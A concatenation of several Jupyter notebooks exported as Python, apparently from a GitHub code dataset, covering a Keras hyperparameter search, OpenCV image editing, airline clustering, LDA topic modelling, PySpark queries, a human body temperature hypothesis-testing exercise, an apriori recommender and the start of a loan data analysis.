fixed_vars, n_vars_temp)\n \n # create model\n hidden_layers=[1,2,3]\n epochs=[5,10,20,50]\n batch_sizes=[32,64]\n for h in hidden_layers:\n for e in epochs:\n for bs in batch_sizes:\n print(\"Creando el modelo...\")\n print(\"\\tNúmero de épocas:\", e)\n print('\\tBatch size:', bs)\n print('\\tCapas intermedias', h)\n print('\\tMuestra para training:', len(df_complete), 'municipios')\n model = create_model(window_size, n_vars_temp, h)\n model.compile(loss='mean_squared_error', optimizer='adam', metrics = ['mae'])\n # fit model\n train_size = int(len(X1)*0.8)\n checkpoint_cb = ModelCheckpoint(\"my_keras_model.h5\", save_best_only=True, verbose=1)\n model.fit([X1[0:train_size], X2[0:train_size]], y[0:train_size], epochs=e, batch_size=32, verbose=2, validation_data=([X1[train_size:], X2[train_size:]], y[train_size:]), callbacks=[checkpoint_cb])\n\n # preprocess data for testing\n X1_test, y_test = preprocess_test(temporal_test, n_vars_temp, scaler, scaler2, scaler3)\n X2_test = X2[0:760]\n municipios_reales = fixed_vars.iloc[0:760,0]\n\n # evaluate model on new data\n model = load_model(\"my_keras_model.h5\")\n y_pred = model.predict([X1_test, X2_test]) \n test = evaluate_test(municipios_reales, y, y_pred)\n\n d = {}\n d['Municipios'] = len(df_complete)\n d['Epocas'] = e\n d['Batch size'] = bs\n d['Capas intermedias'] = h\n d['Error absoluto medio'] = test['Error'].mean()\n results.append(d)\n\n# Check if data folder already created. If not, create it\nif not os.path.exists('resultados/'):\n os.makedirs('resultados/')\ndf_results = pd.DataFrame(results)\ndf_results.to_csv('resultados/precision_configuraciones_modelo.csv') # results of the different configurations\n\n# -\n\ndf_results = pd.DataFrame(results)\ndf_results.to_csv('resultados/precision_configuraciones_modelo.csv') # results of the different configurations\n\n\n\n","repo_name":"OscarGB/TFGInf","sub_path":"code/predict_fake.ipynb","file_name":"predict_fake.ipynb","file_ext":"py","file_size_in_byte":14794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"25094165630","text":"# ## Image Processing with cv2 and torchvision\n#\n# In this notebook, we will explore basic image processing techniques using the `cv2` and `torchvision` libraries.\n\n# +\n# Importing necessary libraries\n\nimport cv2\nfrom PIL import Image\nimport torchvision.transforms as transforms\n\n# +\n# Defining a transformation pipeline to convert an image to a tensor\n\ntransform=transforms.Compose([transforms.ToTensor()])\n\n\n# +\n# Reading an image and printing its shape\n\nimag = cv2.imread('lena15.jpg')\nprint(imag.shape)\n\n\n# +\n# Reading the image in grayscale and printing its shape\n\nigrey = cv2.imread('lena15.jpg',flags=0)\nprint(igrey.shape)\n\n# +\n# Transforming the image into a tensor using the previously defined transformation and printing its shape\n\nj=Image.open('lena15.jpg')\njarray=transform(j)\nprint(jarray.shape)\n\n# +\n# Selecting a region of interest (ROI) from the image\n\nr = cv2.selectROI(windowName=\"Hi this is a test\", img=imag)\n# x, y , width, height\n\n# +\n# Modifying the selected ROI to have red color\n\nimag[r[1]:r[1]+r[3],r[0]:r[0]+r[2],0]=0\nimag[r[1]:r[1]+r[3],r[0]:r[0]+r[2],1]=0\nimag[r[1]:r[1]+r[3],r[0]:r[0]+r[2],2]=255\n\n# +\n# Displaying the modified image\n\ncv2.imshow(\"Modified image\", imag)\ncv2.waitKey(0)\n\n\n# +\n# Reading the original image again, resizing it to fit the selected ROI dimensions, and replacing the selected ROI with the resized image\n# Displaying the second modified image\n\n\nk=cv2.imread(\"lena15.jpg\")\n#Resizing the image...\nk1=cv2.resize(k,(r[2],r[3]))\nimag[r[1]:r[1]+r[3],r[0]:r[0]+r[2]]=k1\n\ncv2.imshow(\"Modified image2\", imag)\ncv2.waitKey(0)\n# -\n\n\n","repo_name":"ayushnangia/Edge_ai","sub_path":"L1.ipynb","file_name":"L1.ipynb","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"4243034213","text":"# # Perform clustering (hierarchical,K means clustering and DBSCAN) for the airlines data to obtain optimum number of clusters. \n# Draw the inferences from the clusters obtained.\n#\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport scipy.cluster.hierarchy as sch\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn.cluster import KMeans\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nairline=pd.read_csv('EastWestAirlines (2).csv')\nairline\n\nairline.info()\n\nairline.drop(['ID#'],inplace=True,axis=1)\n\nairline.head(2)\n\n# # Normalize heterogenous numerical data \n#\n\nfrom sklearn.preprocessing import normalize\nairline=pd.DataFrame(normalize(airline),columns=airline.columns)\n\nairline\n\n# create dendogram \nplt.figure(figsize=(10,7))\ndendrogram=sch.dendrogram(sch.linkage(airline, method=\"complete\"))\n\n\n# create a cluster\nhc = AgglomerativeClustering(n_clusters=5 , affinity='euclidean', linkage='complete')\n\nhc\n\nhc.fit_predict(airline)\n\ny_hc=(hc.fit_predict(airline))\n\ny_ch=pd.DataFrame(hc.fit_predict(airline),columns=['clustersid'])\ny_ch['clustersid'].value_counts()\n\n# Adding clusters to dataset\nairline['clustersid']=hc.labels_\nairline\n\nairline.groupby('clustersid').agg(['mean']).reset_index()\n\n# # K-Means\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import StandardScaler\n\nairline2=pd.read_csv(\"EastWestAirlines (2).csv\")\nairline2\n\nairline2.drop(['ID#'],inplace=True,axis=1)\n\nairline2.head(2)\n\n# Normalize heterogenous numerical data by using Standard Scaler\nairline2=StandardScaler().fit_transform(airline2)\n\n# within-cluster sum-of-squares criterion \nwcss=[]\nfor i in range (1,11):\n kmeans=KMeans(n_clusters=i,random_state=2)\n kmeans.fit(airline2)\n wcss.append(kmeans.inertia_)\n\n# Plot K values range vs WCSS to get Elbow graph for choosing K (no. of clusters)\nplt.plot(range(1,11),wcss)\nplt.title('Elbow Graph')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show()\n\n# # Build Cluster algorithm using K=4\n\n# Cluster algorithm using K=4\nclusters4=KMeans(4,random_state=30).fit(airline2)\nclusters4\n\nclusters4.labels_\n\n# Compute the centroids for K=4 clusters with 11 variables\nclusters4.cluster_centers_\n\n# # Build Cluster algorithm using K=5\n\n# Cluster algorithm using K=5\nclusters5=KMeans(5,random_state=30).fit(airline2)\nclusters5\n\nclusters5.labels_\n\n# Compute the centroids for K=5 clusters with 11 variables\nclusters5.cluster_centers_\n\n# # DBSCAN\n\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.preprocessing import StandardScaler\n\nairline3=pd.read_csv(\"EastWestAirlines (2).csv\")\nairline3\n\nairline3.drop(['ID#'],inplace=True,axis=1)\n\n# Normalize heterogenous numerical data using standard scalar fit transform to dataset\nairline_norm=StandardScaler().fit_transform(airline)\nairline_norm\n\n# DBSCAN Clustering\ndbscan=DBSCAN(eps=1,min_samples=4)\ndbscan.fit(airline_norm)\n\n#Noisy samples are given the label -1.\ndbscan.labels_\n\n# +\n\n# Adding clusters to dataset\nairline3['clusters']=dbscan.labels_\nairline3\n\n\n# -\n\nairline3.groupby('clusters').agg(['mean']).reset_index()\n\n\n","repo_name":"RitujaTayade/Clustring","sub_path":"Clustring 2.ipynb","file_name":"Clustring 2.ipynb","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30622548900","text":"# +\nimport sys, os\nON_COLAB = 'google.colab' in sys.modules\n\nif ON_COLAB:\n os.system(\"test -f heise-articles-2020.db || wget https://datanizing.com/heiseacademy/nlp-course/blob/main/99_Common/heise-articles-2020.db.gz && gunzip heise-articles-2020.db.gz\")\n newsticker_db = 'heise-articles-2020.db'\nelse:\n newsticker_db = '../99_Common/heise-articles-2020.db'\n\n# +\nimport sqlite3 \nimport pandas as pd\n\nsql = sqlite3.connect(newsticker_db)\ndf = pd.read_sql(\"SELECT * FROM nlp_articles WHERE datePublished<'2021-01-01' ORDER BY datePublished\", \n sql, index_col=\"id\", parse_dates=[\"datePublished\"])\n# -\n\nfrom spacy.lang.de.stop_words import STOP_WORDS as stop_words\nfrom sklearn.feature_extraction.text import CountVectorizer\ncount_vectorizer = CountVectorizer(stop_words=list(stop_words), min_df=5)\ncount_vectors = count_vectorizer.fit_transform(df[\"nav\"])\ncount_vectors\n\n# +\nfrom sklearn.decomposition import LatentDirichletAllocation\n\nnum_topics = 10\n\nlda = LatentDirichletAllocation(n_components = num_topics, random_state=42)\nlda.fit(count_vectors)\n\n\n# -\n\ndef topics_table(model, feature_names, n_top_words = 20):\n word_dict = {}\n \n for i in range(model.n_components):\n # ermittle für jedes Topic die größten Werte\n words_ids = model.components_[i].argsort()[:-n_top_words-1:-1]\n words = [feature_names[key] for key in words_ids]\n # und füge die entsprechenden Worte im Klartext dem Dictionary hinzu\n word_dict['Topic #%02d' % i] = words;\n \n return pd.DataFrame(word_dict)\n\n\ntopics_table(lda, count_vectorizer.get_feature_names_out())\n\nW = lda.transform(count_vectors)\nW.sum(axis=0)/W.sum()*100.0\n\n# +\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\n\ndef wordcloud_topic_model_summary(model, feature_names, no_top_words):\n for topic in model.components_:\n freq = { feature_names[i].replace(\" \", \"_\"): topic[i] for i in topic.argsort()[:-no_top_words - 1:-1]}\n wc = WordCloud(background_color=\"white\", max_words=100, width=960, height=540)\n wc.generate_from_frequencies(freq)\n plt.figure(figsize=(12,12))\n plt.imshow(wc, interpolation='bilinear')\n\n\n# -\n\nwordcloud_topic_model_summary(lda, count_vectorizer.get_feature_names_out(), 40)\n\nimport regex as re\n# create tokenized documents\ngensim_words = [[w for w in re.split(r'[\\|\\#]', doc.lower()) if w not in stop_words] \n for doc in df[\"nav\"]]\n\n# +\nfrom gensim.corpora import Dictionary\n\ndictionary = Dictionary(gensim_words) \n# -\n\ndictionary.filter_extremes(no_below=5, no_above=0.7)\n\nbow = [dictionary.doc2bow(doc) for doc in gensim_words]\n\nfrom gensim.models import LdaModel\nlda_gensim = LdaModel(corpus=bow, id2word=dictionary, num_topics=10, \n iterations=400, passes=20, random_state=42)\n\nlda_gensim.show_topics()\n","repo_name":"heiseacademy/nlp-course","sub_path":"06_Topic_Model_Clustering/05-LDA.ipynb","file_name":"05-LDA.ipynb","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"40564864121","text":"print(\"Hello Pyspark\")\n\nfrom pyspark import SparkContext, SparkConf\n\nsc = SparkContext(master = 'local[*]')\n\nsc.version\n\n# +\nimport pyspark\nfrom pyspark.sql import SparkSession\n\nspark = SparkSession.builder.master(\"local[*]\").appName(\"First Pyspark Example\").getOrCreate()\n# -\n\ndf = spark.read.option(\"inferSchema\",True).option(\"delimiter\",\";\").option(\"header\",True).csv(\"/Users/deepak/Downloads/bank-analysis/bank-full.csv\")\ndf.show(5)\n\ndf.printSchema()\n\ndf.createOrReplaceTempView(\"bankingdata\")\n\nsqlDF = spark.sql(\"SELECT count(*) as secondary_data FROM bankingdata where education == 'secondary'\")\nsqlDF.show()\n\n\n","repo_name":"deepaksinghea/pyspark-code","sub_path":"pyspark-banking-usecase.ipynb","file_name":"pyspark-banking-usecase.ipynb","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"10724815089","text":"# # What is the True Normal Human Body Temperature? \n#\n# #### Background\n#\n# The mean normal body temperature was held to be 37$^{\\circ}$C or 98.6$^{\\circ}$F for more than 120 years since it was first conceptualized and reported by Carl Wunderlich in a famous 1868 book. But, is this value statistically correct?\n\n#

Exercises

\n#\n#

In this exercise, you will analyze a dataset of human body temperatures and employ the concepts of hypothesis testing, confidence intervals, and statistical significance.

\n#\n#

Answer the following questions in this notebook below and submit to your Github account.

\n#\n#
    \n#
  1. Is the distribution of body temperatures normal? \n#
      \n#
    • Although this is not a requirement for the Central Limit Theorem to hold (read the introduction on Wikipedia's page about the CLT carefully: https://en.wikipedia.org/wiki/Central_limit_theorem), it gives us some peace of mind that the population may also be normally distributed if we assume that this sample is representative of the population.\n#
    • Think about the way you're going to check for the normality of the distribution. Graphical methods are usually used first, but there are also other ways: https://en.wikipedia.org/wiki/Normality_test\n#
    \n#
  2. Is the sample size large? Are the observations independent?\n#
      \n#
    • Remember that this is a condition for the Central Limit Theorem, and hence the statistical tests we are using, to apply.\n#
    \n#
  3. Is the true population mean really 98.6 degrees F?\n#
      \n#
    • First, try a bootstrap hypothesis test.\n#
    • Now, let's try frequentist statistical testing. Would you use a one-sample or two-sample test? Why?\n#
    • In this situation, is it appropriate to use the $t$ or $z$ statistic? \n#
    • Now try using the other test. How is the result be different? Why?\n#
    \n#
  4. Draw a small sample of size 10 from the data and repeat both frequentist tests. \n#
      \n#
    • Which one is the correct one to use? \n#
    • What do you notice? What does this tell you about the difference in application of the $t$ and $z$ statistic?\n#
    \n#
  5. At what temperature should we consider someone's temperature to be \"abnormal\"?\n#
      \n#
    • As in the previous example, try calculating everything using the boostrap approach, as well as the frequentist approach.\n#
    • Start by computing the margin of error and confidence interval. When calculating the confidence interval, keep in mind that you should use the appropriate formula for one draw, and not N draws.\n#
    \n#
  6. Is there a significant difference between males and females in normal temperature?\n#
      \n#
    • What testing approach did you use and why?\n#
    • Write a story with your conclusion in the context of the original problem.\n#
    \n#
\n#\n# You can include written notes in notebook cells using Markdown: \n# - In the control panel at the top, choose Cell > Cell Type > Markdown\n# - Markdown syntax: http://nestacms.com/docs/creating-content/markdown-cheat-sheet\n#\n# #### Resources\n#\n# + Information and data sources: http://www.amstat.org/publications/jse/datasets/normtemp.txt, http://www.amstat.org/publications/jse/jse_data_archive.htm\n# + Markdown syntax: http://nestacms.com/docs/creating-content/markdown-cheat-sheet\n#\n# ****\n\n# +\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport scipy.stats as stats\nimport statsmodels.api as sm\n\ndf = pd.read_csv('/users/hp/desktop/Ds-springboard/mini_project/human_body/EDA_human_temperature/data/human_body_temperature.csv')\n# -\n\n# dataframe details.\ndf.info()\n\ndf.head()\n\ndf.describe()\n\ndf.isnull().sum()\n\ndf[df.duplicated(keep=False)]\n\n# # Is the distribution of body temperatures normal?\n\n# +\n#checking normality using graphical method\n# create figure with two plots:\nfig, (boxplot, histogram) = plt.subplots(2, sharex=True, gridspec_kw={\"height_ratios\": (.15, .85)})\n \n# boxplot for temperature:\nsns.boxplot(df.temperature, ax=boxplot)\n\n# histogram for temperature:\nsns.distplot(df.temperature, ax=histogram)\n\n# Label axes and add title:\nplt.xlabel('Temperature ($^\\circ$F)', fontsize=14)\nplt.ylabel('PDF')\nplt.title('Distribution of Body Temperatures', fontsize=18)\n\n# Remove x-axis label for the boxplot:\nboxplot.set(xlabel='')\n\n# Display the plots:\nplt.show()\n\n\n# +\n# Define a function to compute the CDF:\n\ndef ecdf(temp):\n \n # Number of data points:\n n = len(temp)\n\n # x-data for the CDF:\n x = np.sort(temp)\n\n # y-data for the CDF:\n y = np.arange(1, n+1) / n\n\n return x, y\n\n\n# +\n# Compute and save variables for summarizing the empirical distribution -\n\n# Sample Size:\nn = len(df.temperature)\n\n# Sample Mean:\nM = np.mean(df.temperature)\n\n# Sample Standard Deviation:\ns = np.std(df.temperature)\n\nprint('sample size =', n, '\\nsample mean =', M, '\\nsample standard deviation =', s)\n\n# +\n# Seed the random number generator:\nnp.random.seed(15)\n\n# Simulate a random sample with the same statistics and size of 10,000:\nnormal = np.random.normal(M, s, 10000)\nnormal\n\n\n# +\n# graphical way of checking normality\n# Compute CDFs:\nx_temp, y_temp = ecdf(df.temperature)\nx_norm, y_norm = ecdf(normal)\n\n# Plot both CDFs on the same plot:\nfig = plt.plot(x_norm, y_norm)\nfig = plt.plot(x_temp, y_temp,marker='+', linestyle='none')\n\n# Label axes and add legend and a title:\nfig = plt.xlabel('Temperature ($^\\circ$F)', fontsize=14)\nfig = plt.ylabel('CDF')\nfig = plt.legend(('Normal Distribution (Empirical Data)', 'Temperature Data'), loc='upper left',fontsize=8)\n\n# display the plots:\n\nplt.show()\n# -\n\n# Sample CDF distribution closely follows theoretical CDF distribution. This indicates that human body temperature sample data is normally distributed.\n\n#checking normality using mnormality test\nstats.normaltest(df.temperature)\n\n# The p-value is about 0.26, which means this test fail to reject the null hypothesis. This sample data is normally distributed. Based on comparison with theoretical CDF, normality test, we can say that the body temperature is normally distributed.\n#\n\n# # Is the Sample Size Large? Are the Observations Independent?\n\n# Print the body temperature sample size:\nprint('Sample size:', n)\n\n\n# Sample size 130. To satisfy Central Limit Theorem the sample must satisfy the sample size should be >= 30. Here the sample size more than required. Hence sample size is large enough. Observations are independent because they are from different people.\n\n# # Is the true population mean really 98.6 degrees F?\n#\n# Is it best to use a one-sample or two-sample test? Why?\n#\n# In this situation, is it appropriate to use the t or z statistic?\n#\n# Try using the other test. How is the result different? Why?\n\n# Another test method is to generate many sets of simulated data assuming the null hypothesis is true, then compute the test statistic for each simulated dataset:\n\n# +\n# Define bootstrap functions:\n\ndef replicate(data, function):\n \"\"\"Return replicate of a resampled data array.\"\"\"\n \n # Create the resampled array and return the statistic of interest:\n return function(np.random.choice(data, size=len(data)))\n\n\ndef draw_replicates(data, function, size=1):\n \"\"\"Draw bootstrap replicates.\"\"\"\n\n # Initialize array of replicates:\n replicates = np.empty(size)\n\n # Generate replicates:\n for i in range(size):\n replicates[i] = replicate(data, function)\n\n return replicates\n\n\n# +\n# Seed the random number generator:\nnp.random.seed(15)\n\n\n# Make an array of translated temperatures:\ntranslated_temps = df.temperature - M + 98.6\n\n# Draw bootstrap replicates of translated temperatures:\ntranslated_replicates = draw_replicates(translated_temps, np.mean, 10000)\n\n# Compute fraction of replicates that are less than the observed temperature mean:\np = np.sum(translated_replicates <= M) / len(translated_replicates)\n\n# Print the p-value:\nprint('p-value =', p)\n# -\n\n# In every test the p-value is significantly less than 0.01, so the null hypothesis is rejected. There is sufficient evidence to warrant rejection of the claim that the true population mean is the conventional normal human body temperature of 98.6°F.\n\n# We are testing a sample set of data against the population mean (a single value), we should use a one-sample test. For this situation, it is best to use a t-statistic since the population standard deviation is unknown. Though a t-test is best for small samples, it becomes similar to the z-test with large samples, so the results shouldn't differ much. Both t and z statistics can work in this case since there is enough data and it is normally distributed. However, since the population variance is not known or given, it is better to use a t-test over a z-test.\n#\n# Null Hypothesis: The true population mean is equal to the conventional mean (98.6∘F).\n# H0:μ−98.6=0\n# Significance Level: 99.9% Confidence\n#\n# α=0.01\n\n# +\n# Save results of a one sample t-test:\nt = stats.ttest_1samp(df.temperature, 98.6)[0]\np = stats.ttest_1samp(df.temperature, 98.6)[1]\n\nprint('t-statistic:', t)\nprint('p-value:', p)\n# -\n\n# Print the quantiles of the t-distribution corresponding to\n# confidence level and degrees of freedom:\nprint((stats.t.ppf(q=0.0005, df=n-1)), (stats.t.ppf(q=0.9995, df=n-1)))\n\n# The t-statistic falls outside the t-distribution corresponding to a 99.9% confidence level and the p-value is certainly below the significance level of 0.01, so the null hypothesis can be rejected.\n#\n# The z-test is not the most appropriate since the population standard deviation is not known; however, it can be approximated using the standard error of the mean:\n\n# Calculate standard error of the mean:\nsem = s/np.sqrt(n)\n\n# +\n# Calculate z-statistic:\nz = (M - 98.6) / sem\n\n# Calculate and save p-value:\np = stats.norm.cdf(z) * 2\n\n# Print the values for z and p:\nprint('z-statistic:', z)\nprint('p-value:', p)\n# -\n\n# In all tests the p-value is significantly less than 0.01, so the null hypothesis can be rejected which means there is a significant difference between the sample and population mean. \n\n# # Draw a Sample of Size 10 from the Data and Repeat Both Tests\n#\n# Which one is the correct one to use?\n#\n# What is noticeable? \n#\n# What does this say about the difference in application of the t and z statistic?\n\n# A small sample is generally regarded as one of size n<30.This test meets the criteria for a t-test: the population standard deviation is unknown and the sample size is small (n=10).\n#\n# If the sample is large (n>=30) then statistical theory says that the sample mean is normally distributed and a z test for a single mean can be used. Here z test can not be used.\n#\n\n# +\n# Seed the random number generator:\nnp.random.seed(15)\n\n# Draw a random sample of 10 from the temperature data:\nsample = np.random.choice(df.temperature, size=10)\nsample\n\n\n# +\n# Save results of a one sample t-test:\nt = stats.ttest_1samp(sample, 98.6)[0]\np = stats.ttest_1samp(sample, 98.6)[1]\n\nprint('t-statistic:', t)\nprint('p-value:', p)\n\n# +\n# Calculate and save z-statistic:\nz = (np.mean(sample) - 98.6) / (np.std(sample)/np.sqrt(len(sample)))\n\n# Calculate and save p-value:\np = stats.norm.cdf(z) * 2\n\n# Print the values for z and p:\nprint('z-statistic:', z)\nprint('p-value:', p)\n# -\n\n# Print the quantiles of the t-distribution corresponding to\n# confidence level (95%) and degrees of freedom:\nprint((stats.t.ppf(q=0.025, df=10-1)), (stats.t.ppf(q=0.975, df=10-1)))\n\n\n# Print the quantiles of the t-distribution corresponding to\n# confidence level (99.9%) and degrees of freedom:\nprint((stats.t.ppf(q=0.0005, df=10-1)), (stats.t.ppf(q=0.9995, df=10-1)))\n\n# The test statistic falls outside the t-distribution corresponding to a 95% confidence level, but not 99.9%. The p-value for the z-test is below both significance levels, but the p-value for the t-test indicates significance only at the 95% level. Both tests provide evidence to reject the null hypothesis. The difference in results reflects the nature of the two distributions. The t-distribution is wider so there is more variability. This makes the t-test less sensitive.\n#\n\n# # At what value is one's temperature considered 'abnormal'?¶\n#\n#\n\nmean = np.mean(df.temperature)\nstd = np.std(df.temperature)\nerror = std * stats.norm.ppf(1 - (1-0.95)/2.)\nprint('Sample mean is %f +/- %f.' % (mean, error))\n\n# Save the critical value at 95% confidence:\nz_critical = norm.ppf(0.975)\nz_critical\n\n# +\n# Calculate and save the margin of error:\nmoe = z_critical * s\nprint('Margin of Error:', moe)\n\n# Calculate and save the 95% prediction interval:\nPI = np.array([M - moe, M + moe])\nprint('95% Prediction Interval:', PI)\n# -\n\n# This calculation says that 95% of the population lies between 96.82 and 99.68. Temperatures outside this range would be considered \"abnormal\".\n\n# # Is There a Significant Difference Between Males and Females in Normal Temperature?¶\n#\n# What test is used and why?\n#\n# Write a story with your conclusion in the context of the original problem.\n#\n\n# A two-sample t-test is appropriate since the means of two independent samples are compared. First, some graphical data analysis:\n\n# +\n# Create boxplots for temperature by gender:\nfig = sns.boxplot(x='gender', y='temperature', data=df)\n\n# Increase tick mark font size, label axes and add title:\nplt.tick_params(axis='x', which='major', labelsize=14)\nfig = plt.xlabel('Gender', fontsize=14)\nfig = plt.ylabel('Temperature ($^\\circ$F)')\nplt.title('Distribution of Female & Male Body Temperatures', fontsize=18)\n\n# Display the plots:\nplt.show()\n\n# +\n# temperatures filtered by gender:\nfemale_temp = df.temperature[df.gender == 'F']\nmale_temp = df.temperature[df.gender == 'M']\n\n# Sample Sizes:\nn_female = len(female_temp)\nn_male = len(male_temp)\n\n# Sample Means:\nM_female = np.mean(female_temp)\ns_female = np.std(female_temp)\nM_male = np.mean(male_temp)\ns_male = np.std(male_temp)\n\nprint('Female Sample Size:', n_female, '\\nFemale Temperature Mean:', M_female)\nprint('\\nMale Sample Size:', n_male, '\\nMale Temperature Mean:', M_male)\n# -\n\n# There is a difference between the mean temperatures of females and males in the sample data, but a statistical analysis will help determine if the difference is significant.We can calculate a 2-sample t-test since we have two sample means we want to compare.\n#\n# Null Hypothesis: There is no significant difference between female and male normal human body temperature.\n#\n# H0:μfemales−μmales=0\n# Significance Level: 95% Confidence\n#\n# α=0.05\n\nstats.ttest_ind(male_temp, female_temp)\n\n# A two-sample t-test shows a t-statistic of 2.29 and p-value of 0.024 and it is less than significance level. IN this case, the null hypothesis can be rejected. The difference in human body temperatures between females and males, though significant, is not extreme. \n\n# # Summary and Conclusions\n\n# Is the distribution of body temperatures normal?\n#\n# The p-value is about 0.26, which means this test fail to reject the null hypothesis. This sample data is normally distributed. Based on comparison with theoretical CDF, normality test, we can say that the body temperature is normally distributed.\n#\n\n# Is the sample size large? Are the observations independent?\n#\n# Sample size 130. To satisfy Central Limit Theorem the sample must satisfy the sample size should be >= 30. Here the sample size more than required. Hence sample size is large enough. Observations are independent because they are from different people.\n\n# Is the true population mean really 98.6°F?\n#\n# We are testing a sample set of data against the population mean (a single value), we should use a one-sample test. For this situation, it is best to use a t-statistic since the population standard deviation is unknown. Though a t-test is best for small samples, it becomes similar to the z-test with large samples, so the results shouldn't differ much. Both t and z statistics can work in this case since there is enough data and it is normally distributed. However, since the population variance is not known or given, it is better to use a t-test over a z-test.\n# In all tests the p-value is significantly less than 0.01, so the null hypothesis can be rejected which means there is a significant difference between the sample and population mean temperature. \n\n# Draw a sample of size 10 from the data and repeat both tests.\n#\n# Since the population standard deviation is unkown and the sample size is small, the t-test was chosen again as the most appropriate. However, the z-test returned the most significant results, as it is the most sensitive of the two.\n\n# At what value is one's temperature considered 'abnormal'?\n#\n# Calculation says that we 95% of the population lies between 96.82 and 99.68. Temperatures outside this range would be considered \"abnormal\".\n\n# Is there a significant difference between males and females in normal temperature?\n#\n#\n# A two-sample t-test returned a t-statistic of 2.29 and p-value of 0.024, so here too, the null hypothesis is rejected. The difference in human body temperatures between females and males, though significant, is not extreme.\n","repo_name":"umaraju18/Miniprojects","sub_path":"human_body_temperature/sliderule_dsi_inferential_statistics_exercise_1.ipynb","file_name":"sliderule_dsi_inferential_statistics_exercise_1.ipynb","file_ext":"py","file_size_in_byte":17117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"3878474571","text":"# + id=\"rjuxNuMTGO6o\"\nimport pandas as pd\npd.set_option('display.max_columns', None)\nfrom mlxtend.frequent_patterns import apriori, association_rules\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"9Qc3yeviGX1L\" outputId=\"8293c39b-906b-4732-cab3-a7ba5c3993e7\"\ndf_ = pd.read_csv(\"armut_data.csv\")\ndf = df_.copy()\ndf.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"yJSaDLCeGX4D\" outputId=\"5649c899-72ca-4464-e442-2221f8903051\"\ndf[\"Hizmet\"] = [str(row[1]) + \"_\" + str(row[2]) for row in df.values]\ndf.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"6uTKrCj6GX6a\" outputId=\"4909ba15-41fc-4b83-8d9a-e7106ea19b6c\"\ndf[\"CreateDate\"] = pd.to_datetime(df[\"CreateDate\"])\ndf[\"NEW_DATE\"] = df[\"CreateDate\"].dt.strftime(\"%Y-%m\")\ndf[\"SepetID\"] = [str(row[0]) + \"_\" + str(row[5]) for row in df.values]\ndf.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"uU2MvswTGX9B\" outputId=\"786f1417-98df-45a0-98a6-919ab9bfe3a3\"\ndf[df[\"UserId\"] == 7256 ]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 319} id=\"qpzmPb6nGX_z\" outputId=\"171255d1-cde4-419d-dace-f58b22077180\"\ninvoice_product_df = df.groupby(['SepetID', 'Hizmet'])['Hizmet'].count().unstack().fillna(0).applymap(lambda x: 1 if x > 0 else 0)\ninvoice_product_df.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"SKrr81CsGYC4\" outputId=\"be924882-025b-4b0e-94c8-e419408bc2d5\"\nfrequent_itemsets = apriori(invoice_product_df, min_support=0.01, use_colnames=True)\nrules = association_rules(frequent_itemsets, metric=\"support\", min_threshold=0.01)\nrules.head()\n\n\n# + id=\"4XZW9_7SGYFm\"\ndef arl_recommender(rules_df, product_id, rec_count=1):\n sorted_rules = rules_df.sort_values(\"lift\", ascending=False)\n recommendation_list = []\n for i, product in sorted_rules[\"antecedents\"].items():\n for j in list(product):\n if j == product_id:\n recommendation_list.append(list(sorted_rules.iloc[i][\"consequents\"]))\n recommendation_list = list({item for item_list in recommendation_list for item in item_list})\n return recommendation_list[:rec_count] \n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Kp7Yl5OeGYH5\" outputId=\"7f4b5e32-5226-4c3e-fc2e-ed7a32a34901\"\narl_recommender(rules,\"2_0\", 4)\n","repo_name":"zeynepozisil/Recommender-System","sub_path":"Rule_Based_Recommender_System.ipynb","file_name":"Rule_Based_Recommender_System.ipynb","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"18822430808","text":"# # ROBOLOAN\n\n# ## 1. Data\n\n# import needed libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sklearn as sk\n\n# ### 1.1 Data description\n\n# Review the first data set: Accepted loans\noriginal_data_1 = pd.read_csv('accepted_2007_to_2018_100T.csv', low_memory=False)\noriginal_data_1.head()\n\n# +\n# Review the second data set: Rejected loans\n\noriginal_data_2 = pd.read_csv('rejected_2007_to_2018_100T.csv', low_memory=False, encoding=\"ISO-8859-1\")\noriginal_data_2.head()\n# -\n\n# ### 1.2 Attributes' Explanation \n\n# +\n# remove all columns and rows with NaN values and choose some needed attributes\n\ndata_accepted = original_data_1[['loan_amnt', 'term', 'int_rate', 'installment', 'grade', 'emp_length', 'home_ownership', \n 'annual_inc', 'verification_status', 'issue_d', 'loan_status', 'purpose', 'open_acc', 'dti', 'total_acc', \n 'fico_range_low', 'fico_range_high', 'addr_state', 'policy_code']]\ndata_accepted = 